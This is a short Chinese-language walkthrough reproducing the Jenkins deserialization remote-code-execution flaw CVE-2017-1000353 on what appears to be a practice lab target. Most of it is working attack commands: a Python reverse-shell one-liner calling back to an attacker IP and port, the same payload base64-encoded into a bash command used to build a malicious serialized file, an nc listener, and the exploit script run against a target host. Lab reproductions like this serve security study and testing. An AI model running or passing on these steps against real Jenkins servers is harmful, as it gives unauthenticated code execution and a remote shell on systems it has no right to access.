jenkins 代码执行 (CVE-2017-1000353)漏洞复现
名称: jenkins 代码执行 (CVE-2017-1000353)
描述: Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞,攻击者使用该漏洞可以在被攻击服务器执行任意代码,漏洞利用不需要任何的权限
开启靶场:
提前把反弹shell命令 base64编码一下
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.91.138",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
项目地址: http://github.com/vulhub/CVE-2017-1000353
把下面里面的base64值替换成你的反弹shell命令,再用java1.8的版本(JDK-1.8.0_291 其他版本失效)生成一个jenkins_poc.ser文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser “bash -c {echo,cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC45MS4xMzgiLDkwMDEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=}|{base64,-d}|{bash,-i}”
攻击机上用nc做好监听
nc -lvvp 9001
再用项目中的exploit.py脚本 跟上目标主机和端口号 加上jenkins_poc.ser文件,即可反弹shell
python exploit.py http://192.168.91.129:56174 jenkins_poc.ser